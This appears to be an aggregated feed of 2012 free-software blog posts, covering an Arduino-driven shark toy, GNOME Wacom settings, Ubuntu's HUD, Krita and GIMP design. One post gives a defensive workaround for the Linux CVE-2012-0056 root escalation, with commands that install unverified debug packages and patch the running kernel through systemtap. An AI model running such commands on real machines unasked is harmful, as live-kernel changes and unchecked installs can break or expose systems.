January 27, 2012

Arduino Air Swimmers Shark

[Air swimmers shark]

When SCALE approved my talk proposal, Fun with Linux and Devices, I had a challenge: I needed some good, visual Arduino demos that would work in front of an audience.

In particular, I wanted something that moved. A little toy truck? A moving penguin? A rotating sunflower? I fiddled with this and that, not fully satisfied with anything. And then suddenly I realized what I needed. Something cool. Something BIG. Something I'd been wanting an excuse to buy anyway.

An Air Swimmers Shark.

I'd seen these things on video, but never in person. They're available all over, even on Amazon, so I put in an order there and got a shark in a few days.

These things are rediculous and cool. It's huge, about 5 feet long, and filled with helium. It takes maybe half an hour to assemble. It has a small motor to beat the tail, an infrared transmitter, and a weighted receiver that moves back and forth on a track to tilt the fish up or down as it swims.

Once it's assembled, you can get it filled with helium at a party store (which costs $3 to $6 depending on where you go). Once the shark is filled, you add clay as ballast until the shark is neutrally buoyant, neither rising nor sinking. It's quite sensitive: you'll find yourself needing to add or remove pea-sized chunks of clay as the temperature in the room changes, but being a little over- or under-ballasted doesn't hurt it much. With its tail beating, the shark really does look like it's swimming through the air.

My shark is named Bruce, after the mechanical shark used for the movie "Jaws". My Bruce, I'm happy to say, has been much more tractable than his famously intemperate namesake.

Okay, now how do we turn this ridiculous-but-cool thing into an Arduino project?

Hacking the transmitter

[Air Swimmers IR transmitter, front]

There were two possible approaches. First, mount an Arduino directly on the shark, and let it be totally self-directed. Second, patch the Arduino into the shark's transmitter and control it from Linux. I chose the second option, for several reasons. First, I was fairly sure it would be easier, and less invasive (the shark would still be usable with manual control). I also liked the idea of keeping the transmitter as a manual override, in case my control program didn't work right. Finally, I liked the idea of keeping a Linux machine in the loop -- the shark would actually be controlled by Linux, not just by the Arduino.

So the first thing I did was take the transmitter apart (4 Philips screws). Inside are 4 pushbuttons, for right, left, up, and down, and the circuit board is nice and simple. Whew -- this might be doable!
[Air Swimmers IR transmitter, back]

Four more screws and I had access to the back of the board, which was equally simple. Now I could get my voltmeter on the contacts while I pushed buttons.

It turned out the contacts (indicated with arrows on the photo) on the downstream side of each switch were normally high (4.5 volts -- the transmitter uses 3 AAA batteries). When I pushed the button, the contact went to ground. Okay, so what I needed was some way for the Arduino to ground those contacts at will.

First I needed to solder some wires to the contacts. (How do you tell which side of the pushbutton is the one you need to solder? Well, one side changes voltage when you press the button, and the other side stays constant. The one that changes is the one you need to connect to the Arduino, so the Arduino can change it too.)

I figured I needed 6 wires: ground, power, and one for each switch. (It turned out I didn't need the power wire, but I figured it didn't hurt to include it just in case.) I wanted to have a nice small connector on the side of the transmitter, but I couldn't find any 6-pin connectors that didn't look big and bulky, so I gave up and decided I'd just let my ribbon cable dangle from the transmitter. If I got a nice multi-colored one, maybe it would look festive.

I couldn't find any 6-conductor ribbon cable, so I got a wider one and separated 6 wires from the rest. Then I soldered the six wires to the appropriate places (marked by arrows in the photo). On the other end, I tinned the six wires with solder so I could plug the stranded wires into my breadboard.

Simulating button presses

I've done enough reading to know of three ways to simulate a button press. You can put a relay between the two contacts of the switch; you can do the same thing, but with an optocoupler (opto-isolator) instead of a relay; or you can do some magic with a transistor. I was fuzzy on the transistor magic bit, so a relay sounded easiest.

I played around with a relay and a spare switch and convinced myself I knew how to wire them up. Then it was off to my local parts store to buy four matched relays small enough to fit on my little mini breadboard.

There followed a several-day fiasco wherein I bought lots of relays that turned out not to be suitable, and got increasingly frustrated at how large and clunky all the available relays were. There are smaller ones, but I couldn't get them to work. And I learned that relays mostly come without documentation on which pin does which, so there's a lot of experimenting with each new type.

Frustrated, I tried some optocouplers I'd bought on a whim last year. No dice ... couldn't get them to work either. [testing my transistor circuit]

Desperate, I turned to IRC, #arduino on Freenode. The folks there are mostly electronics wizards, and I'm sure my questions must have seemed very dumb, but they were patient with me, and pointed me toward a very simple circuit, LED4dummies, that was just what I needed. (They also suggested Wikipedia's Open collector article, but I found that less clear.)

It took me some experimenting with a transistor, an LED and a couple of resistors (I blew out a couple of transistors before I realized I had the R2 resistor in the wrong place) but eventually I got it working, and felt confident enough to try it with the real shark transmitter. The key was to simplify the circuit so it had no extra parts, then once it was working, add more parts to build it up to what I needed.
[Circuit for the Arduino-controlled Air Swimmers Shark]

At left, the circuit I ended up with. For each button, I have one transistor and one resistor (I don't need the second resistor from the LED4dummies circuit, since that was just to keep the LED from burning out). [testing my transistor circuit]

At right is the circuit assembled on a mini-breadboard on top of the proto-shield. Note that the ends of the ribbon cable are plugged in to a spare header I had lying around; a header makes a passable connector, so I can plug it in fairly easily right before a talk. The green and blue wires in the back are going to Arduino digital output pins 3 through 6 (leaving 0 and 1 for serial I/O). The red wires go from the transistors back to the ribbon cable wires that go to the shark's transmitter buttons.

The software side

Now I could make the shark think I'd pressed a button on its transmitter. How do I control that from Linux?

On the Arduino side, I wrote a simple program that reads and parses commands coming over the USB cable. So from the computer, I might send a line like L 300, and the Arduino would "press" the Left button for 300 milliseconds. I had already written something like this for a couple of other Arduino programs. That program is shark.pde.

On the Linux side, first I needed something that established a serial connection and sent commands to the Arduino. I wrote a Python class for that, shark.py. That let me send commands from the Python console to test the shark.

Then I needed something more visual, something I could show during a talk. In particular, the shark doesn't swim unless someone's pressing left, right, left, right buttons over and over. Of course I wanted the computer to handle that part.

So I wrote a little Python-GTK application that keeps the shark swimming, and lets me drag a mouse around to adjust its left/right up/down direction: sharkwindow.

Purely by coincidence, the week before SCALE, Scott Adams introduced a roboshark character: Dilbert, Jan 11 2012. Nice timing for the debut of my own roboshark!

Sadly, I don't have any photos or video of the shark in action. But if you're a LWN subscriber, there's an article on my talk with a couple of great pictures: Robots rampage (in a friendly way) at SCALE 10X. And you can see my slides and notes at Arduino notes.

Call for translations

The new release is getting closer and the translations are allowed again at Transifex...

Wacom tablets in GNOME 3.4

Working from designs.


The cool stuff first

Cosimo Cecchi presents the updated Wacom settings

Go to YouTube directly if you can't see the video here.

A new arrival

As mentioned by Cosimo, we have a new library to help us implement the settings you saw: libwacom.

libwacom is there to give us metadata about tablets, whether or not they are connected to your system, the list of styli it supports, as well as information about the styli themselves. As you can see from the UI, it's pretty important that we know:

  • whether the tablet is builtin (so we know whether you can calibrate it)
  • which form factor it has
  • the list of styli it supports
  • for each stylus, its full name, the number of buttons, what it looks like
In the past, all this information was only available within the drivers (as comments), exported in different ways (sysfs attributes), non-machine readable in public documentation, or, worst of all, hidden in Wacom's internal drivers for OS X or Windows.

So if you have a Wacom tablet, send us a definition file for your tablet, so you can configure it with the impression that the software actually knows about your device.

Where's that configuration again

After knowing what each tablet had to offer, we had to have a way to match the definitions to XInput devices, assign settings per-tablet, and importantly, switch stylus configuration when the user switches stylus. This is done using the new GsdWacomDevice and GsdWacomStylus objects, shared between gnome-settings-daemon (which will apply the configuration) and gnome-control-center (which will set the configuration).

This also means we have a few debugging applications, such as list-wacom in gnome-settings-daemon, to show you the attached GsdWacomDevices, or test-wacom in gnome-control-center, to test display of particular tablets if you don't own them (this is the place where I spend a lot of time).

What's next

Peter Hutterer, my input buddy at Red Hat, who made the original Wacom panel for GNOME 3.2, and the first version of libwacom, is currently spending a lot of time on Multi-Touch, and fixing bugs I report in the Wacom driver.

Jason Gerecke, from Wacom, who did most of the initial work on calibration support, is working on the related display-mapping. This will allow choosing whether a tablet's working area is the whole desktop, or a single monitor when in multiple monitors are used.

For my part, after fixing the layout bugs that so annoy me in the settings panel, I'll be starting work on tablet button mapping. I look forward to making the LEDs on the tablet match up with the selected keyboard shortcut!

Many thanks to Cosimo and Monty for helping out with presenting the work, and doing the video.

January 25, 2012

Press release #1

Press release #1: Libre Graphics Meeting 2012 in Vienna, Austria

Release Date: January 25, 2012

Hacking & Creativity @ LGM 7
May 2-5, 2012 – UAS Technikum Wien – Programmers of free and open source graphic software, artists and users from around the world are headed to Vienna for the 7th annual Libre Graphics Meeting in May. The Libre Graphics Meeting is the annual gathering for users and developers of free and open source graphic software: artistic tools that are free for anyone to use and modify. LGM gives software developers, artists, designers and other creative professionals the opportunity to collaborate, share their work and learn from each other in a lively event.

A Preview
Every year, Libre Graphics Meeting focuses on individual and group interaction, emphasizing free media and the software that produces it. This year’s attendees can expect a similar format that will include hacking sessions, meetings, workshops, presentations, demonstrations, and birds-of-a-feather (BOF) sessions. Leading up to the conference, special lab sessions bring developers and artists face-to-face to make improvements in creative software. Gaps can form when developers and their users don’t meet face to face; LGM gives artists and educators a voice in the building of their tools. Both content creators and developers will present, bringing a diverse community together to advance the technologies and strategies of high-quality free creative software.

Submit a talk!
LGM’s strength comes from the presenters who talk about their work and inspire others by sharing their experiences, techniques, and best practices. Whether you are a developer, an artist, or an enthusiast, you can be a part of this year’s event by sharing your story and your work.

The LGM community wants to hear your proposal for a session: http://libregraphicsmeeting.org/2012/submit-a-talk/

—-

LGM 2012 is hosted by the Libre Graphics Community

Press and Organization Contacts
• Sponsoring Organization: Libre Graphics Meeting
• Contact (Europe): Ale Rimoldi
• Contact email: ale@ideale.ch
• Phone (ZURICH): +41.43.288.50.43
• Contact (North America): Louis Desjardins
• Contact email: louis.desjardins@gmail.com
• Phone (MONTREAL): +1.514.994.9351
• Website: http://libregraphicsmeeting.org/
• Pledgie campaign: http://pledgie.com/campaigns/16614
• Photos: http://ur1.ca/a34y

January 24, 2012

Searching Menus

One of the neatest parts about starting to get more application data into the open is that we can start to use it in interesting ways. I'm happy to talk about a new way that we're using the menu data: the HUD. The idea behind the HUD is that you can quickly find functionality in an application without having to know the menu structure. But how does it do it? How can you make it better?

Getting the data

We're using the same Dbusmenu data that is currently exported to the global menu, just remixing it for search. We are searching through the labels in the menu items which gives us already localized data straight from the application. This means that it should work for the language that the application is in. In the future we hope to use information like accessibility data as well as any tooltips that might be attached to a menuitem (though we don't show tooltips in the global menu).

Any application that works with the window menus today should also work with HUD out of the box.

Matching the label

To match the label we're basically using an implementation of the Levenshtein distance with a few additions. What this allows us to do is rank possible solutions in a relevancy order, and present some solutions that might occur via "fat finger" or other similar type errors. But, this also means that there is some fuzzy algorithms involved in the matching which will have to be tuned.

We expect to tune them over the next few releases, and to do that we have a set of test cases that we're using for the tuning. The problem with those test cases? They're only in the languages I speak. You probably speak in more/different/better languages than I do, please feel free to propose merges that extend this test suite so that as we continue to tune the search algorithms we don't leave any language behind.

Remembering Favorites

One of the additions that we add to the distance calculation is an offset based on which entries you've used most recently. Your favorite functionality in the application. Quite simply we're storing a list of items you've used over the last thirty days and a timestamp of when you used them. This database is simple but it can be fun to look into for the curious and I wanted to talk a bit about a couple of the tools that you can use to see the data.

$ hud-list-applications

This will list all the applications that have data on them in your HUD usage database. They are identified by the path to their desktop file as determined by BAMF. You can then look at the menu items used in a specific application:

$ hud-dump-application /usr/share/applications/inkscape.desktop 

This shows the individual items that you've used, and the number of times that you've used them. If you want to inspect the exact file tracking the data it is available at:

~/.cache/indicator-appmenu/hud-usage-log.sqlite

While talking about various tools to work with HUD I thought I'd also mention that you can also, just for fun, work with HUD from the command line using the command line tool:

$ hud-cli

Application initial bias

Application designers have always had a problem figuring out how to promote specific functionality that is commonly used to the forefront, while still making the rest of the functionality easily available. The most recent ways that they've done this is with toolbars and ribbon style. You can't adjust the positioning even when you know that the particular toolbar isn't best for the user because it will mess up the user's spacial memory. HUD sidesteps this issue by providing all the options, just promoting certain ones based on usage. They're all in the same place (the HUD) but with always improving ordering.

What happens on first usage of the application? At that point we don't have any way to know what the user wants to do, we we've provide a way for the application designer to provide the most likely items for general users. Effectively, this is the HUD's version of the default toolbar setup in an application; though it automatically decays and adjusts to the user's usage pattern.

The files that control this initial bias are very simple and there is an example in the test suite. Basically they have the various menu items along with a value that describes how to preload the usage database. A '5' there would mean that 5 entries are added to the usage database for that item on the first time that application is used; one for today and each of the four days previous. In this way, as values drop off by being too old, there isn't a step function in how the item is ranked, it just slowly drops down in priority. Application designers should start to think about how they would rank the menu items in their application, and start getting these integrated into either the releases or the packages of those applications so that users have a good first experience with their application.

Development notes

The code for the HUD lives in the indicator-appmenu repository. Currently it exists on a branch that needs to be reviewed before merging, but that shouldn't be for long. I expect it to get merged to trunk in the next couple of weeks.

After that the biggest change will be integration with indicator-appmenu. It was originally implemented as it's own service to make development more agile, but it clearly shares a large amount of data with the global menu and there's no reason to have two repositories in memory of the same data. It also needs to synchronize heavily with the application menu and BAMF, which is also already in indicator-appmenu. Thanks to the magic of DBus no one should notice the change in processes as the names and objects will migrate over to the new process.

As this is more of a first prototype there are also some missing features that need to be added. The first of those is to simply improve the matching. We also need to get better descriptions from application indicators, today we're using their accessibility description (you set those, right?) but that typically has too much information. Lastly, we need to integrate better with applications that expect the about-to-show signal for their menus. This includes XUL applications and some Qt ones, so it's an important feature for making the HUD usable for everyone.

Merges and bugs should be directed towards the indicator-appmenu project and also make sure you've signed the Canonical Contributor Agreement for any code contributed.

Comments: Identi.ca | Twitter

January 23, 2012

Lindenmayer brush for Krita

This term i had a course about fractals on the university. We also had to write code for a submission and the lecturer made the technique and topic free to choose. So I chose to make a lindenmayer brush for krita, because I planed to do so since the first university year, where I heard of lindenmayer systems the first time.

I quickly coded something together, so that I was able to prove, that my idea would work.

Lindenmayer systems are some kind of a grammar, they work like this: You have an alphabet of letters, in this case these letters are simple short lines, then you have productions and a rule: Always produce all letters. These productions eat one letter and produce ether no, one or several new letters. There are several classes of such productions, one of the simplest would be “A -> AA”. More sophisticated productions, like in the brush, can contain parameters, if clauses, calculations, random values etc. Basically it would be possible to have several different productions, but I chose to have only one and in turn make it more powerful.

Here is an example of a production, it is used in one of the brushes:

if{letter[branched] == false} {
newLetter = newLetter();
newLetter[position] = variant(letter[endPosition]);
newLetter[angle] = variant(newLetter[angleToSun]);
newLetter[length] = 5;
letter[branched] = bool(true);
}

if{letter[age] > 1} {
letter.delete();
}

It actually creates just a line.

At first the productions were plain C++ code, but that is very cumbersome, as you have to build, install and start krita for testing. The next thing I tried, was to use QtScript and write the productions in ECMAScript (also called JavaScript). It took about 5 to 7 hours until I proved, that it was way to slow.

So I decided to implement my own little scripting language. The interpreter is about 700 lines of code, including some tests. It’s certainly not as powerful, as ECMAScript, but it’s fast and okayish for this use case.

There is an if clause, which supports &&, there is a rand() function, a function for mixing angles, some very basic math, bool and float data types, you can create new letters and delete old ones. It’s possible to write new parameters (“branched” in the code above), edit some default ones (position, angle, length..), which will be used for drawing and access some computed ones (endPosition, angleToSun, distanceToSun, age..).

I have to write some documentation, expand the possibilities of the language and work on the configuration interface. But for now you can already test the current code, it’s in the krita-lbrush-adamc branch in the calligra repository.

Here is a final picture..

The presets for this brushes are included in the repository :)

Mon 2012/Jan/23

January 22, 2012

fixing vulnerabilities with systemtap

Recently the upstream Linux kernel released a fix for a serious security vulnerability (CVE-2012-0056) without coordinating with Linux distributions, leaving a window of vulnerability open for end users. Luckily:

  • it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric)
  • it is “only” local
  • it requires execute access to a setuid program that generates output

Still, it’s a cross-architecture local root escalation on most common installations. Don’t stop reading just because you don’t have a local user base — attackers can use this to elevate privileges from your user, or from the web server’s user, etc.

Since there is now a nearly-complete walk-through, the urgency for fixing this is higher. While you’re waiting for your distribution’s kernel update, you can use systemtap to change your kernel’s running behavior. RedHat suggested this, and here’s how to do it in Debian and Ubuntu:

  • Download the “am I vulnerable?” tool, either from RedHat (above), or a more correct version from Brad Spengler.
  • Check if you’re vulnerable:
    $ make correct_proc_mem_reproducer
    ...
    $ ./correct_proc_mem_reproducer
    vulnerable
    
  • Install the kernel debugging symbols (this is big — over 2G installed on Ubuntu) and systemtap:
    • Debian:
      # apt-get install -y systemtap linux-image-$(uname -r)-dbg
      
    • Ubuntu:
      • Add the debug package repository and key for your Ubuntu release:
        $ sudo apt-get install -y lsb-release
        $ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
              sudo tee -a /etc/apt/sources.list.d/ddebs.list
        $ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
        $ sudo apt-get update
        
      • (This step does not work since the repository metadata isn’t updating correctly at the moment — see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
        sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
        
      • (Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)
        $ sudo apt-get install -y systemtap dpkg-dev
        $ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
        $ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
        
  • Create a systemtap script to block the mem_write function, and install it:
    $ cat > proc-pid-mem.stp <<'EOM'
    probe kernel.function("mem_write@fs/proc/base.c").call {
            $count = 0
    }
    EOM
    $ sudo stap -Fg proc-pid-mem.stp
    
  • Check that you’re no longer vulnerable (until the next reboot):
    $ ./correct_proc_mem_reproducer
    not vulnerable
    

In this case, the systemtap script is changing the argument containing the size of the write to zero bytes ($count = 0), which effectively closes this vulnerability.

UPDATE: here’s a systemtap script from Soren that doesn’t require the full debug symbols. Sneaky, put can be rather slow since it hooks all writes in the system. :)

© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

Spring internships posted!

Hey folks, a bit late on this one, but Spring internships have been posted on bitfilms. If you are interested in spending in spending a few months working on lighting, modelling, crowd sims/other simulation or animation (or a combination of the above) have a gander at the doc and send your resume/reel/cover letter in! we’d love to have you on the project.

Good news for the modellers, btw, is that we’ve been tuning/tightening our modelling pipeline. I intend to post on that in a week or two once I’ve formalized the last details, so it should be easier and smoother to get your modelling chops into final shots.

I promise my next post won’t have an exclamation point on the end ;)

 

Essential Attributes

My son realised that mummy snowman was missing essential attributes and went on to fix them.

GIMP redux, full GEGL ahead

Recently I have been receiving requests to clarify the GIMP UI strategy surrounding GEGL, so I thought I’d write a catch‑up blogpost about my 2010 LGM lecture. There I tackled this GIMP UI challenge: a first outline for a UI for a fully GEGLed GIMP. The thinking about this UI, and the discussions with Øyvind Kolås (the GEGL‐meister himself), have been going on for years. Its introduction will be the most profound change to GIMP in the foreseeable future.

two minutes of fame

I started off my lecture with introducing GEGL, the graph‐based image processing engine that is slowly, but surely, being integrated into GIMP. I could spend quite some time taking us through the complete GEGL graph (linked) below:

a cut-out of a GEGL graph

…and this is only a small one. Instead, here is the essence of it in four easy steps:

  1. there are input boxes that load an existing image, or render some vector shapes or text;
  2. there are chains of operation boxes that perform things like blur or change opacity of whatever gets fed into them;
  3. there are composer boxes that take two inputs and put one over the other, combining them in a certain way (think layer modes: normal, dodge, multiply);
  4. there are output boxes that either display the grand result on a screen, or export it to graphics file formats like png or jpeg.

so…great

Thus GEGL processes graphics by hooking up the boxes, inputs–to–output. Why does that matter? Well, because it is non‐destructive: the images in the input boxes are never modified.

If the structure of above graph is written to a file—apart from the input images, all other boxes are just snippets of XML—and a year later it is re‑opened in GIMP, then each of the operations and their parameters; each of the vector shapes or text can be freely changed. Even the input images could be swapped out for different ones. The result is a changed image composition, without any loss of quality.

It is exactly this promise of non‐destructive editing that played a big part in me joining the GIMP project years ago. I could see how that could lead to the end of some of the major workflow bottlenecks in today’s graphics software.

UI modelling

The integration of GEGL in GIMP is a disruption; it changes the rules of what one can do and how one can work. This is not a bad thing, it is a refreshing change. An interesting question is: how does the user interaction of GIMP have to change, in order to harnesses all this new power? In general there is a big urge, especially with developers, to just display the graph on the screen:

a boxes and hoses model, with a small image view

I call this the boxes and hoses model. If it looks familiar to you, it is because it has been around for decades: it is called visual programming. Which again explains why developers tend to choose this type of solution. One day a direct representation of the graph will appear in GIMP, as something extra. This is because the product vision defines GIMP as (also) being ‘a platform for programming cutting-edge image processing algorithms, by scientists and artists.‘

activity centre

To find out what the main UI in GIMP should be, we take from the product vision what the main activities are that GIMP is made for: ‘high-end photo manipulation’; ‘creating original art from images’; ‘producing icons, graphical elements of web pages and art for user interface elements.’

As a next step, it pays off to look at the nature of these activities. Users start with images or basic shapes (vectors) and apply image manipulation operations, one after another, to achieve the desired result. Users organise their work in layers and GIMP composites the result. Schematically that looks like this:

working on an image organised by layers, one operation at the time

In short: a work (a composition) consists of layers, each with its sequence (in time) of operations. Now we got the start of a model for the UI. That list of layers we know already, as the layers dialog. The sequence of operations for the layer, we can call that the operations dialog:

image window, layers and operations dialogs
disclaimer
Keep in mind that the user interaction shown in the image above, and all the ones below, is not a true mockup. It is more a diagram—with in part grotesque proportions—to show the principles of how the UI works.

We can see that the four GEGL elements are covered: The image material to start with: loaded pixels or rendered vectors; the layers that control the bulk of the compositing; the chains of operations; the output to the screen in the big image window.

Yes, the image window is the place for judging one’s work and for doing the actual work, hands‑on. The image window deserves a couple of times more screen space than any GEGL graph manipulation. Reversing this relationship (as shown earlier) is completely disregarding the nature of the activity.

back to the future

Adding an operation works as before: use a toolbox tool or invoke a menubar item. Here Gaussian blur is invoked and it appears at the top of the operations list:

adding a blur operation

Now it gets more interesting: revisiting the past. No matter if it was done five seconds or five months ago, one can recall any previous operation applied to this layer and readjust it. Here the curves for this layer are revisited. While adjusting, the output updates through the complete chain of operations, including colorise and blur:

revisiting the curves

A lot of layers dialog behaviour can be reused for the operations dialog. ‘Eye’ toggles can be used to show/hide the operations:

revisiting the curves

Drag and drop can be used to rearrange the order of operations. The result of that may turn out to be more subtle than you think. Because GEGL processes everything in 32bit floating point, it will be much harder to get the rounding and clipping artefacts you get with 8‐ or 16‑bit integer processing. Only when an operation does not commutate by nature (i.e. the order matters), then it gets interesting to experiment with the order of operations.

Of course copy and paste of operations, between layers of the same or different files works. Dragging and dropping of operations on another layer copies or moves them, a modifier key (shift or ctrl) will sort that out. And before I forget: selecting some operations in the operations dialog and invoking ‘Make macro’ would be a good, natural way to get that started.

the holy trinity

Before we continue with more GEGL user interaction, here is a pop quiz. I took this b+w photo of the brilliantly named Kloten airport and coloured part of it red:

a red stripe over the airport picture

My question is: how did I apply that red?

  1. directly with a tool from the toolbox;
  2. making a selection, then invoking a menu item;
  3. using a layer with a layer mask.

Well, I have forgotten how I did it (it’s been a while) and you will never guess. My point is that it does not matter. All three methods listed above are a combination of an operation (apply red) and a greyscale mask, controlling where it is applied and how much. All three methods are fully equivalent, it does not matter to the software—or the viewer.

It does matter to users. Given the context, composition structure, the graphics material and the end‑goal, each user knows exactly which of the three methods she/he prefers. There is a million different use cases and only the individual user on the spot can take the right decision. It follows that each of the three methods is equally important and needs to be equally available to users. This I call the holy trinity of image manipulation.

pagan practices

However, at the moment, you quite often see the following: ‘if you want this feature, you’ll have to use it on its own, extra layer.’ This is layer abuse. I get misquoted on this so let me clarify: users never abuse layers, developers do. Here are some examples of layer abuse:

  • the only way to do a non‐destructive operation is via an adjustment layer
  • only one vector shape per vector layer;
  • only one block of text on a text layer;
  • the output of a filter plugin is always put on a new layer;
  • the result of using a toolbox tool is always put on a new layer.

The problem is with ‘only,’ ‘always’ and ever more layers, whether users want them or not.

reformation

The abuse listed above is straightforward to fix. Quite a bit of it has to do with enabling users to redo or revisit the image manipulation. That is solved by the operations dialog.

Furthermore, there can be as many vector shapes and text blocks on a layer as one likes. Just show them—and stack ’em—as sub‑layer elements in the layers dialog. And when then one of these sub‑layer elements is allowed to be actual pixels, then it is clear that the whole notion of special vector/text layer can disappear:

hierarchy of layer groups, layers, vectors, text blocks and pixels

Layer abuse has to stop. Developers should never force users to use another layer. Only users decide how many layers they want to use, purely as their own personal way to organise their work.

more blessings

So apart from that no image manipulation is exclusive to a layer, what are further implications of the dogma of the holy trinity?

paint with anything
Yep, with anything, also all the plugins that appear in the Filters menu. Also the obscure ones that you and I, and anyone on the GIMP team have never heard of. Just dip your brush in it and smear it on the canvas. Thinking of combining it with paint dynamics just blows my mind. It just takes one tool (Filter brush?) to enable this.
adjustment layers with anything
You see, I have nothing against accomplishing things with layers. It is perfect when you got a collage made out of dozens of layers and then want to apply some treatments to the whole thing. It just takes one adjustment layer with any number of operations to get that done. Again, with anything.

behind the mask

As mentioned, all three image manipulation methods consist of an operation and greyscale mask, controlling where it is applied and how much. The interaction for these masks can be analogous to that of layer masks:

masks shown in both layers and operations dialogs

This means that both the parameters of the operation and also the ‘where and how much’ can be revisited and adjusted, a second later or a year later.

in triplicate

By now you may be thinking ‘wow, every image manipulation must be possible in three different ways, does that mean that one day GIMP will contain three times more stuff than today?’ Well no. I have already mentioned two measures—Filter brush, adjustment layers with anything—that will make large strides towards fulfilling the holy trinity. And even today the trinity is partially in place at GIMP.

Take for instance composition, putting pixels on top of pixels. Sounds like the exclusive domain of the layer stack, no? Well, even today you can use toolbox tools to do the same thing: the Clone tool and its 90%‑identical cousin, the Heal tool. And the menu item to compose is called Paste. Yes, the current layers dialog interaction while pasting should go. The GIMP team is agreed on this for years. Instead paste is an operation on the current layer:

a graphic is pasted in the layer, appears as operation

weird science

There is a fifth element to GEGL graphs, that I have been keeping under wraps in this blogpost until now: cloning. This is taking an in‑between result in the GEGL graph, anything from a simple vector to a huge sub‐tree, and ‘teleporting’ one or more clones of this result to another position in the graph:

spotting clones in a GEGL graph

The original and the clones can have the same or a different position on the canvas; undergo the same or completely different operations; be composited in the same or a completely different manner. The magic is of course in that when the original (the input to cloning) is updated, every clone immediately updates, with all further operations and compositing applied on top. This is going to be liberating, because of the amount of work this saves.

Let me give an example. Let’s take the scan of a snowflake and fix it up with a number of graphics operations. We clone the result 99 times and spread these over five layers to compose our snowscape. We make ever flake a different size and a different colour. Already laborious, no? And now, we decide we are not satisfied with how refined the snowflakes are. Solution: fix the original with more/less/different/updated operations, all 100 flakes will immediately show the improved refinement—in their different sizes and colours.

send in the clones

My plan for the user interaction of cloning is to make it a variant of pasting: Paste as clone. This includes doing further operations on the pasted (as clone) material, before closing off the paste (you can always revisit the paste operation and modify all of it). And as Ville Pätsi pointed out a while ago, there needs to be a way from each clone to access the original. A button or link on the Paste clone operation in the operations dialog might do the trick.

There is more tricky stuff coming up with this cloning, like cloning layers or layer groups. And to go fully meta on this: I am asking myself why chains of operations cannot be cloned and applied to different input material. But Øyvind is not up for that.

two more things

To wrap all this up I have two benchmarks that have developed out of the GEGL discussions. They are alternate manifestations of the holy trinity and they are serious tests of the direction the GIMP user interaction is taking.

First, in a future version of GIMP, if users really envision their work as one single layer—not that unusual with photographs—then they will simply be able to close the layers dialog. Their work will not be impeded in any way by this, everything is still available to them (twice, as toolbox tool and menu) with no limits in the sophistication with which they can express themselves:

main window with just the operations dialog

Second, in a future version of GIMP, if users are really not interested in switching operations on/off; rearranging operations or revisiting the past, then they will simply be able to close the operations dialog. Their work will not be impeded in any way by this, everything is still available to them with no limits in the sophistication with which they can express themselves:

main window with just the layers dialog

You could even combine the two benchmarks and GIMP would still work, without a hitch.

aftermath

Directly after the lecture at the LGM, Øyvind Kolås pointed out one flaw, one thing I had not thought of: those greyscale masks, that play such a central role, are not pixmaps. They are GEGL sub‐graphs themselves. Which creates the possibility of near‐endless drill‐down: operations with greyscale masks, which contain operations with greyscale masks, which contain… et cetera.

Is that a fatal flaw? Is that going to blow up my plan to reduce the complexity of the GEGL graph to a linear list of operations? Do we just have to confront users with the whole graph? Let not kid ourselves about the complexity of that graph. In practice, I’d say that a simple GIMP file starts at ten times the number of boxes in the example at the top, quickly moving to a hundred times and then beyond.

not my problem

To developers—especially the ones that are working up to their elbows in GEGL graphs—this problem looks like one of navigating the graph and making edits. But to me it looks like another problem needs to be solved: how can users navigate their working context? Already today GIMP users are doing this navigation. Which layer, which layer mask are they editing, or is it the quick mask?

It will have to wait for another day, but when this context navigation is going to be designed, the one thing not to lose sight of is the image window. Everything evolves around it, including this navigation, and feedback of the working context has to be inside it. I certainly think we can do a better job than currently happens with the layer masks.

And when this context navigation has been designed, taking into account the holy trinity and the two benchmarks, then the operations dialog can show the simple list of operations performed in that context, in their natural order.

Weekly progress

This week we were busy updating demo shots for the new battlefield concept. Currently we have updated all shots in the range of 01-16, and hey – it looks quite nice!

Shot 06

Shot 09

Shot 14

At the same time Nikolay does tracing and animation based on the keyframe drafts by Eleonora.

And of course the process of updating shots for Blender 2.61 is continued. At the moment the most issues are resolved and we need just some time to complete the transition process for all shots. It was a little distracting when I haven’t found possibility to control animation time with F-Curves like I did in 2.49. After spending some time digging I have realized that I can use Synfig to do time-control effects (like slow-mo or speedup).

Also, I was a little worried about the first shots in the demo – the view from the top at the start is a really tricky shot. But after reworking sequence layout I was able to achieve the impact I was satisfied with.

That’s all for today, have a great week!

January 21, 2012

auto rig post at BN!

Looks like Tal’s preview of the autowalking got posted at BN! Nice post!

This blog has been a little quiet of late but the project is quite healthy. We’ve been working hard on animation and refining our modelling pipeline to allow modellers an easier time contributing to the project. Tal and I have nailed down most of our technical hurdles in the autowalker/crowd side, which is a huge relief (those shots were always a bit of a scary looming task) and we think we can finish these shots with a great deal of fun.

stay tuned for more posts, where we share our current progress… and some news!

Ye Olde Animation

Guess what I found at my parents’ house in Urbana? A VHS tape called “NINA PALEY DEMO REEL 1998.” It contained my very first animation as an adult (my very very first was when I was about 13, but I’ve lost those Super-8 reels). I didn’t go to school, I just taught myself from books and asking friends. It helped that I was dating an animator; he owned an animation table, which I’d never seen before let alone used, and it was on that that I made this:

Straight out of Nina’s Adventures, right? Audio is from Leonard Bernstein’s “Candide.”
The first stop-motion clay animation I made, Luv Is…, is Not Safe For Work and is embarrassingly neurotic, but the same characters appear in this, my second stop-motion clay animation:

I Heart My Cat was shot on a 16mm Krasnogorsk camera with a light leak, and you can see the adorable Desi at the very end. Nik Phelps made the fantastic score, one of my favorite scores ever.

For “Cancer” I drew, scratched and painted this directly on an old 35mm porn film. My boyfriend-at-the-time’s sister had just been diagnosed with breast cancer. Music is the Del Rubio Triplets singing the Rolling Stones’ “Satisfaction.”

